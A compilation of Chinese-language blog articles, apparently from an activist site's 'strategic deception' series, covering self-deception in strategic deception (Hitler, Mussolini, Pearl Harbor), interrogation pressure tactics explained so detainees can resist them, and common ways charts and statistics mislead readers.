在战略性欺骗行动中，当他人诱导和自我诱导朝着一个共同方向努力时，就会出现欺骗和自我欺骗共存的现象。

尽管，如文章开头所言，⚠自我欺骗是欺骗行动的衍生物，但从最终结果上看，自欺比欺骗的效力更高。

当两者同时出现在欺骗者身上时，往往是因为战略性欺骗行动由于欺骗者本身的心理素质未能将己方排除在欺骗行动之外，久而久之将自己散布的欺骗信息当真了。最终反而诱发了自身的错误评估和决策行为。

⚠这是非常需要避免的。我们介绍过，CIA就陷入过这种尴尬，详见《媒体操控：战略性欺骗的重头戏》。当然CIA的案例没有对己方的重大损失（除了费钱之外），但必须知道，这种错误会导致致命的结果。后面介绍。

当欺骗和自我欺骗同时出现在被骗者身上时，也就是潜在的被骗者完全处于欺骗者建构的错误知觉体系之下时，⚠其本人就会自行构建一个幻觉之网，更深层地陷入了错误知觉当中。

欺骗者从欺骗到自欺 ——

Michael Handel 曾经提到过一个从欺人到自欺的例子，

30年代，希特勒大肆夸大己方实力，成功进行了实力欺骗行动，赚取了英法的政治让步和绥靖政策。

但是在得到实际利益之后，希特勒就开始得意忘形了，不仅主动相信了自己的谎言，而且还沉浸在脱离实际、自欺欺人的幻想中，认为纳粹空军真的具有极大的优势，从而发动了第二次世界大战。

实际情况是，1937或1938年英德实力的对比，到1939或1940年就可

能发生了巨大变化，而希特勒始终相信自己的谎言，并且以此作为行动的起点，最终作茧自缚。

类似的情况还有墨索里尼，墨索里尼在战前四处夸耀意大利的实力，虽然欺骗行动并没有奏效，英法均通过其他途径获悉了意大利真正的军事实力，但是墨索里尼的蹩脚欺骗却成功骗了自己。

潜在被骗者的自欺 ——

自我欺骗和欺骗一样能够造成错误认知，甚至自我欺骗可以更好地达成欺骗想要的效果。

Barton Whaley 称之为幻想。

⚠由于长时间接受错误的信息，潜在的被骗者就会形成特定错误的思维定势，失去了本应具有的理性逻辑和想象力 —— 不论是洗脑还是心理战和宣传战，使用的都是这种方法。

⚠你会忽然发现，真相在一个民族、社会、群体中完全不起作用；独立媒体对幕后真相的曝光始终不可能与主流媒体的骗局获得同等的受众面。这就是权势长期灌输的后果。

被骗者和群体只接受想象中真实的信号，断然拒绝接受任何与自身预期相反的信息 —— 即使这些信息被任何方面都证明为真实。

即便得到真相，当事人也倾向于不承认，以避免认知失调的打击。当年美国海军部长被告知日本袭击了珍珠港时，他直接说：“上帝啊这肯定不是真的！这消息可能说的是菲律宾受到了袭击”……

苏德战争前的斯大林也是如此。他转不过弯来。

在这两个案例中，即便欺骗者的战略性欺骗手段已经昭然若揭，苏联和美国的决策者依然对明确的事实表现出强烈的质疑。这不仅证明他们成功被骗了，而且证明，他们都陷入了严重的自我欺骗之中。

—— 未完待续 ——

原文

巧妙的威胁：间谍心理战战术（2） - iyouport

战略性欺骗-识别和抵制

【2019年11月13日存档】如果你不想对警察说的话都说在互联网上了，结果很可能比直接对警察说更糟糕

本文依旧是主动进攻方面的战术；与前文不同的是，本文中讲述的内容更多适用于审讯环境

如果您还没有读过第一部分，在这里回顾：《如何把你的对手变成困兽：间谍心理战战术（1）》

与前文不同，本文中即将讲述的方法*更为*主动，间谍采取此类方法是希望能达到立竿见影的效果。

即便没能立竿见影，也可以给对方制造强大的心理压力，以影响其之后的进攻。

恐吓也许是一种假象，但是被恐吓者往往会宁信其有，这是在借助信息不对称和心理映射，激发对方产生畏惧心理。

任何人都可以使用恐吓，使用者必需知道自己在对方面前的优势所在，强调这一优势以令对方害怕。我们在行动主义系列中也介绍过活动家可以使用的威胁方法，见《威胁感可能比事物本身更有效：战略性直接行动》。

但不同的是，正如我们在那篇文章中所强调的，活动家对威胁战术的使用必需能有切实实施威胁的能力。

而在本文即将分析的威胁类型中，间谍并不需要真的实施威胁，只需要能让对方相信间谍可以实施。

再次重申，本文中分析的内容最适合审讯场景，⚠如果您是活动家、记者、人权维护者、人权律师、边缘社区等任何挑战主流政治的人，

您有必要了解这些；一旦被捕，您可以做到心里有数，并做出适当的合理的反应，尽可能保全自己和队友。

以下部分将更多以审讯者的角度陈述，以帮助您了解您需要应付的人的思考方式。

1、巧用证据，逐步瓦解抵抗力

在审讯中证据经常被拿来施压，但什么时候使用证据、如何令证据发挥关键作用，是间谍课程的一个重点。

显然其要点也是心理战术。即 攻心术。

有效的攻心术可以比酷刑的效果更高。

审讯者都明白，在长时间的心理战之后，被审讯者已经疲惫不堪，其思想会徘徊在招供和不招供之间。这个时候就是施加攻心术的最佳时机。

也就是说，在被审讯者思想波动幅度最大的时候，审讯者及时给对方足够的理由令其招供；令其感觉到没有其他选择。

这时候有力的证据就是一张王牌。

反过来看，不让你的对手拿到最致命的证据，是你能做得最好的反制策略。

1984时代，当局的证据基本都来自长期监视，不论是您的数字足迹还是您的在线和离线身份的关联，对您来说都是致命的。

所以，避免被攻心术击倒的最佳方案就是，从一开始就尽可能不要留下证据给你的对手。

在这里看到方法：

- 《大清洗：反侦察的第一步》
- 《角色扮演：行动者刚需》
- 《分裂人格的魅力》
- 《指南：当您准备参加抗议活动...》
- ……更多见栏目《给行动者的护身符和武器》

如果您擅长以上全部方法，但最终因被亲友出卖而导致失去了反制机

会，那么能保护您的方法就是撒谎。

如果您平时保护工作做得很好，应该就能有信心相信审讯者手中掌握的证据不多；于是即便有人出卖您，您也能有一个大致的危险性评估。

这一评估非常重要，将决定您在遭受攻心术时的抵抗力。

并且能决定您的撒谎计划的有效性 —— 目标是让对方的逻辑链断掉。

追求零口供的被审讯者往往通过保持沉默来抵抗，理论上可行，但有些时候效果并不好。因为你越是不说话，审讯者越会觉得你隐瞒了很多。

如果你能表演出一种似乎很配合的样子，反而会令审讯者放松警惕。这种时候熟知法律很重要 —— 审讯者使用的都是套证据的方式，如果最终得不到有效的口供，就无法定罪。

只有证据才能让人认罪。在缺乏证据的时候，审讯者甚至会人为地创造“证据”，也就是栽赃。

栽赃的信息往往不合逻辑，这种情况下你需要在律师到场之前不做任何评论。

不论是真实的证据还是栽赃，审讯者都非常注重证据出示的时机，他们的目标是给被审讯者制造最强大的心理压力、给自己立威造势。

作为被审讯者您应该了解对手这一心理，如果您害怕就真的输了。

2、咆哮式审讯击毁心理防线

理论上咆哮不是暴力，但是它能制造一种压力氛围，尤其是它持续进行时。

在咆哮的过程中，审讯者往往会以最激烈的语调讲述他们获取的证据，尤其是，穿插引用被审讯者的心理弱点 —— 比如父母、朋友、孩子。

内心缺乏安全感的人对咆哮式审讯的氛围会非常敏感，更容易中计而产生屈服心理。

这需要审讯者事先做出社交工程调研，以掌握被审讯者最脆弱的心理敏感部位。反过来，被审讯者平时暴露自己的心理越多，这种情况下就会越危险。

⚠人们经常觉得一些“不敏感的内容”可以在网上随便说，其实不然；所有这些信息综合在一起很容易暴露你的心理特征，令你的对手可以更准确地掌握攻心术的设置模型。

还是那句话，让你的对手对你的了解越少、了解得越不真实，你就越安全。

根据中情局的观点，咆哮式审讯有几点技巧：

A “一怒到底”。绝不可以浅尝；否则会陷入一种尴尬的境地。一旦罪犯的感情没能调动起来，审讯者就输了。

需要持久、极致，在心理上占据高地。

B “要果断”。必需显得无比自信，即便审讯者自己并没有拿到切实证据，也必须表现得就像掌握全局一样，要看起来不容置疑。

这种氛围将迫使被审讯者内心展开自我审查；一旦自我审查的意识出现，被审讯者就会立刻虚弱，就离投降不远了。

C “言之有物”。咆哮不能仅仅是愤怒，如上所述，必需在咆哮中拿出切实证据。即便证据并不充分，在情绪压力的大环境下，被审讯者往往来不及仔细思考逻辑问题，从而屈服于不完整的证据。

或者说，证据不完整的时候，审讯者采取咆哮方式的可能性更大。

所以被审讯者需要能保持冷静。

3、语言攻势撕破心理伪装

语言攻势在很多情况下都可以使用，而不仅仅是对峙过程中。

在“社交工程”栏目中包含很多关于如何以语言做武器的方法介绍。

这里指的语言攻势是以令对方折服为目的的，它具有两个特点：

A 音调方面的优势。

在交锋过程中音量会被试图放大，为的是能在心理上占据优势地位。

但是不能一味地放大，如果审讯者在拿出切实证据的那一刻依旧保持了极高的音量，反而会减弱证据的压力作用。

有效的语言攻势是音量合理起伏的，在持续高声的过程中忽然调低音量，将更容易吸引对方的注意力，令语言更加深入内心。

B 紧抓对方的疏漏。

俗话说百密一疏，疏漏可能是非常致命的。但是并非每一种疏漏都容易被发觉。当审讯者通过调查抓到了对方的疏漏时，就会在语言攻势中强化运用它，以瞄准被审讯者的心理弱点。

4、制造绝望

成功进攻他人内心的关键方法就是，让对方自觉已经断了后路。

绝望感会导致对方主动放弃挣扎，接下来的一切都随你处置了。

审讯者追求的就是这种调动你绝望的感受，要达成这一目的，必需要有切实依据，能真正触动对方的信息。

虽然这一信息很可能不值得深究，但只要它能制造强大的绝望感，几乎没有人会详细思考它为什么不合逻辑。

绝望是能杀死人的。

⚠一旦萌生绝望感，对方就会迅速暴露心理弱点，审讯者将及时抓住这些线索，展开更加强大的攻势。

间谍在采取攻心战术时往往会遵循：

A 不强行逼供。

事实上外在的高压逼迫只会让对方产生更大的抵触心理。

相反，聪明的暗示可以让对方知难而退。

于是有经验的间谍会做得非常巧妙，一步步引导被审讯者走入绝望。

B 要避免被对方看出己方实力。

从心理学角度上，威胁的真实含义就是：实施者其实没有绝对的把握能战胜对方，他只是希望借助心理压力让对方主动投降。

换句话说，如果您是被审讯者，遇到上述心理攻势时切不可慌乱，因为让你慌乱正是对手的目的。

如上，是最常见的审讯心理战。此外其他方法还有：

5、疲劳战术。这是针对心理素质很好的被审讯者所采取的方案。

这样的被审讯者绝不会主动交代，审讯者采取询问的方法是无效的，尤其是被反复提及的问题，更不会回复。

这种情况下审讯者会采取疲劳战术，直到对方倦怠，再准确抓住被审讯者的逻辑错误并强烈打击。

6、多说不如少说。这也是一种心理技巧。目的是给对方一种神秘感，让对方摸不透审讯者究竟掌握了什么。这种神秘感有可能激发被审讯者的自我审查，从而进一步表现出心虚和不安。

7、诱导。也就是利用语言学引诱对方说出对自己不利的信息，却不会感知到。这是社交工程伎俩，关于这点详见另外的具体介绍：

- 《语言是强大的武器—— 如何使用它？社交工程攻击：致命的诱导》
- 《如何让一个人心甘情愿吐露重要信息？—— 社交工程攻击“诱导的艺术”》

○□

—— 未完待续 ——

原文

数轴有鬼：用数据可视化撒谎很简单（2） - iyouport

战略性欺骗-识别和抵制

【2019年9月19日存档】宣传操纵可以非常微妙，润物细无声…… 目标：让你自己骗自己。

继续上周的话题，如果您还没有读过（1）在这里看到。

虽然人类的大脑进化至今仍然不能处理数量巨大的、以数字表示的数据文本；但是人的眼睛却可以很容易捕捉形象化数据所含有的模式。这就是可视化新闻为什么火了。

通过制作图表来展示每个单一的数值是一种呈现数据的常用方式。

虽然这种方式呈现出来的数据最准确，但是，其可解释性却最小。

不过，对于大多数人来说，在这样的数据中识别模式和趋势依旧是比较困难的，或者说几无可能。于是，⚠在此做诈者会很容易得手。

要想解决这个问题，或许需要依靠一些辅助。

图表分为两大类：一种是使用形象化的方式来代表每一个数据点（如散点图）；另一种是采用数据缩减的方式，借以把数据汇总考察，比如只分析数据的中位数。

使用图表操纵、扭曲、和错误地呈现数据的方法有很多种。你很难免被骗。

但是依旧有几个迹象能提醒你：小心欺诈。

I 数轴未做标记

用统计图表说谎的最基本方法就是在数轴上不做任何标记。

如果不标记数轴，那么你就可以随意绘制图表了！

来看一个例子。一个学术大会上，一名学生向听众展示了下面这张图（中文内容原图中全没有）：

这是什么意思？

可以在报告的文本中了解到，这个大会的主题是关于精神分裂症患者的大脑激活。

那 HCs 又是什么？

不得不再次看报告，其中说它代表的是在与精神分裂症对比。或许是“健康管理”？

现在，HCs 和 SZs 两者看起来确实有不同之处，但是……图中 y 轴标有数字，但是却没有任何单位。

那么这个图代表什么呢？考试分数？大脑活动水平？激活脑区的数量？是吃掉的包子数量、还是最近六周内看电影的数量？……

参加这个大会的研究人员随后在一本同行评审期刊上发表了上图所示的研究成果；并且在一家网站指出其错误后对图做出了修正。

下面的例子是关于一家出版公司的销售总额，并且剔除了营销初期的销售数据：

这张图的状况和前面的例子一样，只不过这次问题是处在X轴上。

虽然X轴标记了数字，但是没有说明数字代表什么。

你可能会猜到是自然年度或财务年度，那些线的起伏说明是按月份来取的数据 —— 请注意这是瞎猜。

图中也没有Y轴，所以你不知道它衡量的东西是什么，究竟是销售单位还是货币单位；也不知道每条水平直线的意义是什么。

它可以描述销售额从5分钱/年增长到5块钱/年，也可以描述5000万增长到5亿。好吧，这张图还至少附带了一句话：“这又是一个收获很大的年份”。只能认同后者这种猜测了。

II 截短纵轴

一张绘制精良的图能够让你清晰地看出一个连续体相关的终止点。

如果你记录的是数量的实际或预计变化情况，这一点是尤其重要的。因为你的目的是让读者从图中得出正确的结论。

如果你的图表示的内容是犯罪率、死亡率、出生率、收入或其他任何可以取值为0的数量，那么0就是图中的最低点。

⚠但如果你的目的是制造一种使人感到恐慌和愤慨的效果，那么就要在接近图最低点的地方开始画Y轴 —— 这样做能够使你想要凸显的差异得到强化，因为人的眼睛很容易捕捉差异大小，同时差异的实际大小却被弱化了。

以下是福克斯新闻的图，其目的是想要说明如果减税计划终止将要发生什么情况：

这张图给人的直观感受是税率将会大幅上升：右边的条形方框是左边的6倍。

没人希望多缴5倍的税吧？数字恐惧症的人或者看得太仓促的人，也许没有时间分析下它的问题。也就无法发现，实际上是税率从35%上涨到39.6%。

也就是说，如果减税计划终止，实际税率上涨幅度不过13%，而并非此图暗示的600%（4.6%的上涨幅度相当于起始税率35%的13%）

假如Y轴从0开始，那么13%的税率上涨幅度就一目了然了，就像下面这样：

显然这样是不够刺激，对吧？

III 横轴和纵轴不连续

这也行？还真行。

假设一个城市在过去10年里的犯罪率每年都从5%的速度增长；据此你可以画出下面这样的图：

这图没毛病。

但是，假设你现在是一位家庭用监视摄像头的销售员，你的任务是把监视器卖出去。于是你就希望引起消费者的恐慌，来促使他们购买你的商品。

这时候你使用与上面的图完全相同的数据，只需要在X轴上截下去一小段，让它看起来不连贯，就可以做到扭曲事实，巧妙地骗过人们的眼睛，就是下面这样：

这张图给人的感觉就是犯罪率徒然上升了。

X轴上的不连续相当于把5年的数据强行用在了之前图中两年所占据的空间中，难怪吓人一跳。这是绘图的基本缺陷。但是，大多数人不会仔细看数轴，于是这种图依旧很能唬人。

还可以继续发挥创造力，通过在Y轴上制造不连续可以得到相同的效果，然后再把不连续之处加以掩盖：

嗯，这样实在太损了。可是，⚠大多数人只会看图上的线，而不会去注意两个轴的刻度……于是你可以愉快地继续骗人。

现在，如果要批判性地评估这个统计数据，那么你或许会问，数据的收集或表达方式是否存在某些掩盖了潜在事实真相的因素？

可能。

一种可能的情况是，犯罪率的上升只发生在一个治安状况极其糟糕的社区，整个城市的所有其他地区的犯罪率其实在下降。

另一种可能的情况是，把不同的社会抱怨混在一起了，然后将其全部放在了“犯罪”这个模糊的类别中。由此忽略了一个重要因素：也许这个城市的犯罪率已经下降为0，于是警察把注意力放在抓闯红灯的人身上了。

继续思考你还会提出问题，显而易见的：“在统计时间段里，该城市的总人口出现了什么变化？”

假如城市的人口每年以高于5%的速度增加，那么人均犯罪率实际上是下降了。下图是每一万人的犯罪数量图示：

IV 选择恰当的刻度和数轴

假设你是一个社区的房地产经纪人，负责把过去十年本社区房屋价格的变化绘制成图。一直以来，房屋价格都在以每年15%的速度稳定增长。

如果你希望引起人们的警惕，那么就不如把你现在还没有拿到相关数

据的年份也加进去……像这样人为地在X轴上增加额外的年份，就可以实现整个曲线的极大坡度，特别能蒙人。下面这样：

⚠请注意这张图是怎么骗了你的脑子的。让你得出了两个错误的结论：一、1999年的某个时候房价一定很低；二、到2030年房价就会高到没人买得起的地步……于是第三个错误结论就出现了：现在马上买！

上述两张图都扭曲了事实，因为它们使一个稳定的增长率直观上看起来是不断上涨的增长率。

有很多事物都是恒定变化状态的，工资、物价、通胀、某个物种的数量、疾病受害者……当你面对一种稳定增长/或下降的情况时，最准确的呈现方法是对数刻度。

使用对数刻度时，相等的百分比变化会以Y轴上的相等距离表现出来，于是恒定的年度变化就成了一条直线，比如这样：

V 可怕的双**Y**轴

要知道，绝大多数人都不会仔细观察图，图的制作者就可以搞出五彩缤纷的谎言来，依旧能侥幸成功。

这种情况使很多人对假象深信不疑。

参考下面这个。它说的是25岁吸烟者和不吸烟者的预期寿命对比情况：

这张图说的是：

- 吸烟的危害随着时间的推移而不断积累；
- 吸烟者可能比不吸烟的人死的早。

在40岁时这两类人的死亡可能性差异不大，但是到80岁时，吸烟者死亡的可能性增加一倍还多。

这种呈现数据的方法既简洁又准确。

但是，假如你是一名14岁的吸烟者，你很想说服父母允许你继续吸烟。这个图肯定帮不了你。你需要搞点小心机。

比如这样，使用两个Y轴，也就是在图的右边增加一个Y轴。新增加的

Y轴采取不同的刻度，而且只适用于不吸烟者，变成下面这样：

这样就变成了：不论是不是吸烟，死亡可能性是相等的。吸烟对你没什么害处，变老才是危及生命的。🚬

⚠双Y轴的图带来的骗局在于，你总能随意更改第二个Y轴上的刻度。

福布斯杂志就曾经使用过一张类似上面的图，来说明公立学校每名学生的学习费用投入与他们的SAT考试成绩之间的关系[Wainer, H. (1997). Visual Revelations: Graphical Tales of Fate and Deception from Napoleon Bonaparte to Ross Perot]

从上图看，似乎增加每名学生的学习费用投入（黑线）对于提高他们的成绩（灰线）没有任何作用。

那些反对政府财政支出的政客就可以借此宣扬，公立学校学生的学习费用投入是一项浪费纳税人的钱的举措。

但是你明白，图中的第二个Y轴的刻度是可以随意选择的。

假如你是一名公立学校的管理人员，你完全可以采用相同的数据，但是，简单改变一下右边数轴的刻度，就如下图，🌤就能看到费用投入使学生成绩提高了！

显然，简单修改一下就能说明完全不同的状况 —— 数据还是那些数据。

到底哪张图反映了真实状况？

你可能需要一些方法来衡量一个变量如何随着另一个变量的变化而变化。这就是统计学中的相关性分析。

相关系数的取值为-1到1。当相关系数为0时，说明一个变量和另一个变量毫不相关；当为-1时，说明一个变量增长时另一个下降，完全同步发生。

上面讨论的第一张图说明的是相关系数为0的情况；第二张图则说明了相关系数接近于1的情况。

这个数据集实际的相关系数为0.91，关联度很高。

你看，根本不需要什么数据掺水，在可视化上稍微动一点手脚，就可

以达到宣传效果 —— ⚠请注意，动这种手脚的人大多是操纵式宣传的执行者。

双Y轴问题曾经“惊动”了美国国会，引发了一场争论。当时众议员 Jason Chaffetz 展示了一张图，描绘的是美国计划生育协会提供的两项服务：堕胎和癌症筛查[Planned Parenthood Roth, Z. (2015). Congressman uses misleading graph to smear Planned]

这位众议员试图提出这样一种观点：在7年之内，美国计划生育协会所提供的堕胎服务增加了（他对此持反对意见），同时癌症筛查服务数量却减少了。

虽然计划生育协会并没有否认这位众议员的观点，但是，这张图可是扭曲了的，图中堕胎服务的数量似乎超过了癌症筛查服务的数量。

也许制图的人有点惭愧吧，还在数据点的位置上标出了实际数字。

先接受图中数据，分析一下。

2013年的堕胎服务的数量是 327000例，而癌症筛查服务的数量几乎是其 3倍，达到 935573例 ……（顺便说，堕胎服务的数字如此整齐，真的很巧呵）这是一个非常凶险的例子：隐性的双 **Y** 轴图居然两边都没有 **Y** 轴。

这个图画好一点应该是这样的：

你要看到，堕胎服务略有增长，而癌症筛查服务数量呈现下降趋势。

对于那个凶险图来说，其实第一眼就应该怀疑。因为图中的线条特别平滑，在数据图中很罕见这种状况。

绘图者很有可能选取了两个特别的年份，并在比较之后两点一线连起来了。或许他是为了有意强调差异；也或许是中间年份数据波动比较大。不管怎么样，一条完美直线的情况都是极不可能的。

类似这样的图并非总能达成人们期望的那种意义。

计划生育协会的任务是尽可能多提供一些堕胎服务？除了这样的解释之外难道就没有对上述数据的其他解释了？

看第一张图。2006年提供了 2007371次癌症筛查服务，同时还进行了 289750 次的堕胎服务；提供的癌症筛查服务的数量几乎是堕胎服

务的的 7倍。到 2013年两种服务数量的差距缩小了，但癌症筛查服务的数量仍然几乎是堕胎服务数量的 3倍。

计划生育协会主席 Cecile Richards 曾经对数量差距缩小的情况做了解释。因为一些抗癌服务项目在就医指南方面出现了变化，比如巴氏图片检验，就减少了需要做癌症筛查的人数。其他方面诸如社会对堕胎的态度、社会人口的年龄、卫生保健替代品的增加，都会影响这两项服务的数量。

因此图中的数据不能证明计划生育协会支持堕胎。即使它支持，这些数据也无法作为证据。

就是这么简单。💡防止被操纵式宣传蒙骗的办法就是，想一分钟。

尤其是在互联网上，能够做到想一分钟的人极为稀罕。想想看，加载速度超过3秒你就会血压上升，对吧？所以用这种动过手脚的图示来进行宣传操纵的伎俩，在互联网上经常能得手……

—— 未完待续 ——

原文

恶搞统计数据：小心媒体用统计忽悠人（3） - iyouport

战略性欺骗-识别和抵制

【2019年9月26日存档】数字总是看起来很正经，尤其是来自大媒体的统计数据，的确挺容易忽悠人的。但是要知道，随便在里面搞点小动作，就能达到特定的宣传目的……

继续此前的话题，关于撒谎者是怎么愚弄你的。

如果您还没有读过前面的两部分，在这里看到：《“让数据说话”只是个唬人的幌子：识破谎言（1）》《数轴有鬼：用数据可视化撒谎很简单（2）》

谎言是人类文明的一部分。如果这样说会让你感觉不适的话我非常抱歉，但事实就是这样，人类是动物界最会撒谎的物种。

而且，如今在高科技的支持下，谎言正在以前所未有的趋势发酵、以前所未有的高速度扩散。

就如我们在“战略性欺骗”系列话题中所分析的，谎言完全可以作为有利武器来使用，潜移默化中令目标人或群体做出不利于自身的荒唐决策，甚至可以长期虚弱人们的判断力 —— 因为认知一旦建构就很难被推翻。

这种现象体现在两个方面：1、人类的语言究竟是在论述事实还是在编造事实，已经越来越难以分辨，因为人们说的每一句话几乎都是有目的的；2、教育的匮乏，已经对几代人构成了严重的影响。

这两个方面都无法通过几篇文章改变，但至少我们可以把最常见的忽悠总结起来，集中分析一下；只要有更多人认识到这些问题，加入到抵制虚构和隐瞒的斗争中来，真相回归就能很有希望。

这就是本系列文章的目标。

谎言危害的不仅仅是民主，更有每个人的切身利益，随时随地的、白花花的银子……要知道任何时候都有一大群人在瞄准你的钱包，忽悠就是他们最强大的抢劫工具。

考虑这样一个例子。你正在考虑是否应该购买一个新款汽水的股票。你正在努力思考，这时从该公司的年度报告中偶然发现了这样一张销售数据图：

这张图显示该公司的销售业绩非常不错 —— 销售额呈现稳定增长趋势。你会就此认为现在购买其股票没有任何问题？

但是，别忙，此处应该运用一些现实知识。

汽水市场的竞争非常激烈，虽然该公司的销售额正在增长，但也许并没有竞争对手的销售额增长得快。

作为一名潜在的投资者，你真正需要的是分析该公司与其他公司的销售额对比情况。或者是，分析该公司的销售额随着其所占市场份额的变化而呈现的变化。

当市场快速发展时，该公司的销售额有可能只是略微上升，而其竞争者的市场收益则更大。

下面展示的是一张双Y轴图，你会看到，这家可乐公司的发展前景并不乐观：

如我们在前面文章中所演示的，不道德的绘图者能够通过修改图中右侧的Y轴，使图呈现出他们想要的任何内容，但是此处这个双Y轴是没问题的，因为它的两个Y轴分别代表不同的内容，其数量不可以共用同一个数轴。

看一下该公司的盈利情况也有助于你做出买不买的明确决策：利用在生产和销售方面的效率优势，该公司极有可能在销量较低的情况下获得更多的利润。

请注意，有人援引了一项统计数据、或者向你展示了一张图，并不能表明他们所持有的观点得到了证明。

你需要做的是确保自己得到了真正重要的信息，并忽略掉那些无关紧要的信息。

下面再看一个例子。

假设你在一家公司的公共事务办公室工作。该公司生产一种叫作Frabezoid的玩具。

在过去几年里，由于公众对该产品的需求一直很大，其销量逐年增长。通过新增生产设施、增加员工人数，以及为员工升职、加薪，公司扩大了经营规模。

但是你的上司对你说，公司最近的销售报告出来了，同上个季度相比， Frabezoid 的销量下降了 12%。

公司总裁即将召开一次大型新闻发布会，商谈公司未来的发展前景。

总裁在召开发布会时有一个惯例，就是要在身后的大屏幕上向与会者展示一张大图，以便介绍产品的销售情况。

销量下降的事实一旦传扬出去，公众就有可能认为 Frabezoid不再值得拥有了，这种情况会导致销量进一步下跌。

这时候你该怎么做？

如果你如实绘制一张过去4年里 Frabezoid 的销量图，那么这张图就应该是这样的：

图中曲线呈现的下降趋势正是问题所在。

要是能把这条线变成上扬该多好呢……

是的，的确有办法。

你可以绘制累计销量图。不要按照每个季度的销量来绘图，要使用每个季度的累计销量，即 目前为止的总销量。

所以，哪怕你只卖出了一件商品，累计销量图都会呈现增长趋势，就像下面这样：

看起来不错是吧。如果仔细观察这张图你仍然可以发现一些蛛丝马迹，它们依旧表明了上季度的销售状况比较糟糕。

你能看到曲线的上升坡度变小了，这就是销量下降的线索。

不过，人们的大脑并不擅长觉察这样的变化率（在微积分中叫它一阶导数，即 曲线斜率）。

因此在平常人眼中这张图似乎说明该公司的销量表现依旧强劲。

这种做法一点都不奇怪。苹果公司在2013年的 iPhone手机销售会议上，Tim Cook 采用的就是这种方法。*2013 The Verge, Vox Media Inc*

这就是今天第一个要说的骗局。

在同一张图中绘制不相关的事物

「图」

世界上有如此多的事物同时处于不断的变化之中，所以必定会出现一些巧合。看过蝴蝶效应的电影吗？

比如公路上卡车的数量和你的薪水同时在增加；你小时候的电视节目数量随着你的身高增长而增多……

但是这并不意味着其中一件事的变化*引发*了另一件事的变化。

请注意有人会在此处设计骗局。当两个事物互相之间产生关联时，不论其中的一个是否*引发*了另一个，统计学家都把它们称之为“相关”。

⚠请谨记这句法则：相关并不暗含着因果关系。

形式逻辑对这个法则做了两种系统的阐述：

(1) 在此之后，即 以此为因。

这种逻辑谬误产生于这样的认知：认为由于Y发生在X之后，所以X导致了Y的发生。

人们一般都会在早晨上班之前刷牙，但是刷牙并不是上班的原因；你放了一个屁，然后你女朋友跟你分手了，那个屁很可能并不是分手的原因，如果你今后担心自己的屁而不敢找新女友那就太亏了。

尤其是在人们不知道当下的事为什么会发生的时候，这种逻辑谬误被使用的可能性最高。

的确每件事的发生都是有原因的，但经常不是源于此前发生的其他可见的事。这种联想在自我审查方面特别常见，比如一个人的推特账户被冻结了，大多情况下第一个设想的就是“我此前发布了什么东西？”

这种自我审查经常会比实际的情况更加苛刻，导致账户解冻后持续限制言论自由。（账户冻结的情况有可能源于监测到入侵，或者你允许太多机器人关注你，被视为与trolls宣传网络相关等等，当然还有来自你的仇家的恶意举报）

⚠并且，媒体经常会使用这种方法来引导舆论，特别能唬人；而且你还无法指责他们，因为他们在措辞上并没有强调相关性，只是摆出了两件事前后发生 —— 而相关性是读者自己联想出来的，这就叫宣传的“润物细无声”。

遇到这样的新闻报道请仔细想想，为什么媒体要提及“此前发生了事件A”，而不是事件B、C、D……？只因为A才符合宣传意图。

(2) 与此同时，即以此为因。

这种逻辑谬误产生于这样的认知：认为两件事同时发生了，其中一件事必然是另一件事的原因。

为了透彻地说明这个问题，哈佛大学法学院学生泰勒·维根（TylerVigen）曾经专门编写了一本书并创建了一个网站，全部以“假性共存—相关”作为专题，比如下面这个：

解释这张图的方法有四种：

- 溺水死亡导致了的电影上映；
- 尼古拉斯·凯奇的电影上映导致了游泳池溺水死亡事件的发生；
- 第三种因素（尚未查明）导致了上述两个事件的发生；
- 它们两者毫不相干，其表面上的相关性不过是巧合而已。

如果把脑子关闭你就可以宣称“该研究证明了尼古拉斯·凯奇的电影具有防止溺水的作用”；或者“防止溺水的有效方法是让他少拍电影”。

你还记得萧敬腾和下雨之间的关系吗？似乎流传甚广。

🌤在一些情况中，具备相关性的事物之间其实并没有实际的联系，它们的相关仅仅是巧合而已；而在另外一些情形下，人们可以在相关的事物之间找到某种因果联系，或者至少可以编造一个合理的说法以便获得新的数据。

如果你认为是由于人们沉迷于尼古拉斯·凯奇的电影情节，而导致了失足落水？但是对电影的沉醉也可能同样提升交通事故率和重型机械的受伤率等等，为什么只是溺水？在做更多的数据分析之前一切都是未

知的。

⚠做这种相关联想也是媒体很常用的宣传手段。

就如2018年末推特封锁账户事件中，由于其中一个被封锁的账户是中国异议人士吴淦的声援者，于是一大群媒体都在讲述“推特审查中国异议”的故事。

但是与此同时被封锁的账户还包括IYP，还包括至少一位非常活跃的特朗普粉丝，但从来没有被媒体提到过。

因为其他案例会打破结论的逻辑和理性吗？难道不是通过案例分析得出事实、而是为了满足于特定结论去寻找能支持它的案例？

请不要误会，谴责推特等监视资本主义巨头的审查是IYP的主题之一，我们非常希望能证实推特在扼杀言论自由，证据越多越好，我们的去中心化倡导将有希望更快速实现。

但必须是证据。⚠如果被人们发现你的声称中任何一点不是证据，人们就会怀疑你的一切目的，包括你倡导的去中心化 —— 不论你的目标有多正义，这点都是无法避免的。活动家尤其需要注意这点。

关于《什么是证据》详见这篇文章的分析。

对于尼古拉斯·凯奇的例子，你甚至还可以猜测第三种因素，比如经济发展趋势：经济发展得更好会促使人们在娱乐休闲活动方面增加投入，制作的电影越来越多，越来越多的人会去度假和游泳……

如果真的是这样，那么图中描述的两件事—— 尼古拉斯·凯奇的电影上映和游泳池溺水死亡，都不是彼此出现的原因；而是经济发展导致了两者的发生。

统计学家将其称为解释相关性的第三种因素。这类例子非常多。

事实上可能性较大的情况是，这两件事情并不相关。如果你仔细研究一下就能知道。

RandallMunroe 曾经在他的网络漫画《xkcd》中描述这个问题。有两个明显都是大学生的火柴人正在交谈。其中一个说，他以往总认为相关性暗含着因果性。后来，他去上了统计学课程。现在，他不再这样认为了。另一个学生说：“听起来好像统计学课程起作用了。”第一个学生回答说：“嗯，也许吧。”

欺骗性插图

「图」

利用统计学说谎的人（尤其是媒体）经常会使用信息图来引导舆论，⚠他们之所以能成功正是因为大多数人不会深究。

请思考下面这张图，它完全可以用来吓唬你，让你相信恶性通货膨胀正在吞噬你的血汗钱。

乍一看，这张图的确很吓人。

但是稍微观察一下你会发现，图中的剪刀位置并不是整张纸币的4.2%处，而是大约42%的地方。

⚠当你的视觉系统和逻辑思维系统二者产生矛盾时，除非你费尽全力去克服视觉上的偏见，否则最终获胜的往往都是视觉系统。

准确的信息图是下面这样，但它给人情感上带来的冲击力却弱化了很多是吧：

解释中出现的问题

「图」

